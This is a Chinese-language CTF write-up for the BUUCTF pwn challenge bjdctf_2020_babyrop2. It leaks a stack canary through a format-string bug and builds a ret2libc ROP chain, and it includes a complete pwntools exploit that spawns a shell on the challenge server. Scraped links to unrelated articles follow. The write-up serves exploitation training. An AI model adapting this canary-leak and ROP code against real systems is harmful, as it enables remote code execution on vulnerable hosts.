bjdctf_2020_babyrop2

附件

步骤:

  1. 例行检查,64位程序,开启了NX和canary保护


2. 试运行一下程序,看看大概的情况 提示我们去泄露libc

3. 64位ida载入,从main函数开始看程序

init

gift

第9行的printf函数存在格式化字符串漏洞,可以利用这点去泄露canary的值

vuln

buf参数存在溢出漏洞,只要绕过了canary就能够利用ret2libc的方法获取shell

利用思路:

  1. 利用格式化字符串泄露出canary的值
  2. 利用溢出漏洞,将canary的值填入绕过canary检测,利用ret2libc的方法获取shell

利用过程:

  1. 泄露canary的值
    首先找一下输入点参数在栈上的相对位置(找偏移量),之前我都是输入aaa %08x %08x……%08x这样的字符串去找偏移的,这次不可以,换了一种方法,输入%n$p,n是偏移量,配上%$p就能定位到偏移量处,输出该位置上的内容,%p是以16进制输出
    最后找到偏移量是6

    找个nop指令,给程序下个断点,看一下程序里栈的情况

    可以看到在我们6161的下一行,有一串16进制数,这个就是canary的值,我们只要利用%7$p就能泄露出它的值,而且也看到了它在栈上的位置是0x20-8=0x18
payload = '%7$p'
r.sendline(payload)
r.recvuntil('0x')
canary = int(p.recv(16),16)
  1. 利用ret2libc的方式获取shell
    这边打算利用puts函数来泄露libc,puts函数只有一个参数,64位传参,只要借用一个rdi寄存器即可,找一下设置rdi寄存器指令的地址

    pop_rdi=0x400993
    之后构造常用的泄露libc的payload
payload = 'a'*(0x20-8)+p64(canary) #填上cancry
payload += p64(0) #覆盖ebp,尝试写入了‘bbbbbbbb’来覆盖,但是在构造rop攻击获取shell的时候这样写不成功,改成了随意写一个数据覆盖可以成功
payload += p64(pop_rdi) #设置rdi寄存器的值
payload += p64(puts_got) #将rdi寄存器设置成了puts函数的got表地址
payload += p64(puts_plt) #调用puts函数,去输出puts函数的got表地址
payload += p64(vuln_addr) #程序跳转到vuln函数,继续控制,再次利用输入点的溢出漏洞 r.recvuntil('story!\n')
r.sendline(payload)
puts_addr = u64(r.recv(6).ljust(8,'\x00'))
print hex(puts_addr)

之后就是计算system函数和bin/sh字符串的地址

libc=LibcSearcher('puts',puts_addr)
base_addr = puts_addr - libc.dump('puts')
system_addr=base_addr + libc.dump('system')
shell_addr = base_addr + libc.dump('str_bin_sh')

构造rop攻击获取shell

payload = 'a'*(0x20-8)+p64(cancry)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(shell_addr)
payload += p64(system_addr)
payload += p64(main_addr) r.sendline(payload)

完整的exp:

from pwn import *
from LibcSearcher import * r=remote('node3.buuoj.cn',26842)
elf=ELF('./bjdctf_2020_babyrop2')
context.log_level = 'debug' #p.recv()
payload = '%7$p'
r.sendline(payload)
r.recvuntil('0x')
cancry = int(r.recv(16),16) puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0400993
main_addr = elf.symbols['main']
vuln_addr = 0x0400887 payload = 'a'*(0x20-8)+p64(cancry)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(vuln_addr) r.recvuntil('story!\n')
r.sendline(payload)
puts_addr = u64(r.recv(6).ljust(8,'\x00'))
print hex(puts_addr) libc=LibcSearcher('puts',puts_addr)
base_addr = puts_addr - libc.dump('puts')
system_addr=base_addr + libc.dump('system')
shell_addr = base_addr + libc.dump('str_bin_sh') r.recvuntil('story!\n') payload = 'a'*(0x20-8)+p64(cancry)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(shell_addr)
payload += p64(system_addr)
payload += p64(main_addr) r.sendline(payload)
r.interactive()

[BUUCTF]PWN——bjdctf_2020_babyrop2的更多相关文章

  1. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  2. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  3. [BUUCTF]PWN——hitcontraining_uaf

    [BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...

  4. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  5. buuctf --pwn part2

    pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...

  6. buuctf pwn wp---part1

    pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...

  7. [BUUCTF]PWN——pwnable_hacknote

    pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...

  8. [BUUCTF]PWN——ciscn_2019_es_7[详解]

    ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...

  9. [BUUCTF]PWN——mrctf2020_easyoverflow

    mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...

随机推荐

  1. JVM 是用什么语言写的?

    JAVA中就虚拟机是其它语言开发的,用的是C语言+汇编语言  基于此之上就是JAVA本身了  虚拟机只起到解析作用另外,JAVA并不比C语言慢,说JAVA慢一般是九十年代那时候的JAVA, 而现在 在 ...

  2. JDBC操作多张表一

    一.操作一对多情况开发步骤1创建对象 //代码部门的对象public class Department { private String id; private String name; privat ...

  3. [atARC121D]1 or 2

    对于大小为1的集合,我们可以在其中加入0 因此,枚举0的个数,那么问题即可以看作要求每一个集合大小为2 (特别的,我们允许存在$\{0,0\}$,因为这样删除这两个0显然只会减小极差) 显然此时贪心将 ...

  4. 深入理解Redis 数据结构—简单动态字符串sds

    Redis是用ANSI C语言编写的,它是一个高性能的key-value数据库,它可以作用在数据库.缓存和消息中间件.其中 Redis 键值对中的键都是 string 类型,而键值对中的值也是有 st ...

  5. Atcoder Grand Contest 020 E - Encoding Subsets(记忆化搜索+复杂度分析)

    Atcoder 题面传送门 & 洛谷题面传送门 首先先考虑如果没有什么子集的限制怎样计算方案数.明显就是一个区间 \(dp\),这个恰好一年前就做过类似的题目了.我们设 \(f_{l,r}\) ...

  6. STL的equal_range()

    equal_range()根据键值,返回一对迭代器的pair对象. 如果该键值在容器中存在,则pair对象中的第一个迭代器指向该键关联的第一个实例,第二个迭代器指向该键关联的最后一个实例的下一位置. ...

  7. Boussinesq 近似及静压假定,内外模分离方法(附录A)

    0.Formulation of the RANS equations [1] 不可压缩流体控制方程 \[\begin{array}{l l} \frac{\partial u}{\partial x ...

  8. halt

    halt命令用来关闭正在运行的Linux操作系统.halt命令会先检测系统的runlevel,若runlevel为0或6,则关闭系统,否则即调用shutdown来关闭系统. 语法 halt(选项) 选 ...

  9. nginx_日志切割脚本

    #!/bin/bash NGINX_LOG=/usr/loca/nginx/logs/access.log RE_LOG=/data/backup/`data +%Y%m%d` echo -e &qu ...

  10. excel-大于0的数值标记红色且标记红色上箭头,小于0的数值标记绿色且标记绿色下箭头,等于0的数值标记黄色且标记右箭头

    0.数值是常规的数值: [蓝色]"↑"0;[红色]"↓"0;[黄色]"→"0 [蓝色]"↑"0.0;[红色]" ...